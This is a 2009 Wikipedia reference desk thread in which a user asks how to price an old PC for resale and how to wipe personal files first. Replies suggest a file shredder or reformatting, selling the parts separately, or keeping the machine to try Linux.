• 2 Gigs of PC 5200 RAM
• Nvidia 6800 256 MB Video Card DVI/VGA and a TV Tuner
• 120 Gigs harddrive
• CD/DVD RW drive
• Floppy Drive
• 8 USB ports
• Comes with a 15 inch LCD monitor, and standard keyboard/mouse set
• I would keep Office 2007 installed

I see there is an auction for a similar 8400 on eBay that just ended at $202. However, that computer did not have a separate video processing card or a TV turner card. I was thinking about just putting $250 on it and seeing what happens, but I'd appreciate any advice.

I would try to sell this on eBay, Craig's List or through the local paper - whichever will yield the highest amount.

I want to ensure my files are completely gone. I was thinking about using the File Shredder program bundled with Spybot Search and Destroy. Any ideas?

Thanks for the time! :) Rangermike (talk) 19:05, 18 May 2009 (UTC)

File Shredder should do the job. As for the computer, I would not be surprised if you could do better by breaking it into component parts. The monitor itself could probably fetch you $80. --98.217.14.211 (talk) 19:17, 18 May 2009 (UTC)

Why get rid of it at all? You could keep it and use it as a second machine, a media server (with another hard drive), a tool to mess around with Linux, etc. You could give it to your parents, your kids, your grandparents, or you could give it to a charity. As for wiping your data, there are plenty of commercial and free disk cleaners and some reasonable suggestions in this previous discussion. Astronaut (talk) 20:03, 18 May 2009 (UTC)

Here is the same link, but should remain useful even after the post drops off this page —Preceding unsigned comment added by 64.172.159.131 (talk) 20:10, 18 May 2009 (UTC)

File shredders are nice, but if you want to make sure you've eliminated ALL your personal data - I'd format, and re-install the OS. Just to be on the safe side IMHO. — Ched :  ?  20:21, 18 May 2009 (UTC)

I appreciate all the suggestions and thoughts on cleaning it up. I was planning on selling the machine and using the proceeds to purchase the components for my new build. But astronaut got me thinking ... maybe I'll use it to tinker around with Linux or some of the other open source OS out there. I've never used any other OS other than Windows. Now is a good time to learn/try something new. Thx! Rangermike (talk) 20:44, 18 May 2009 (UTC)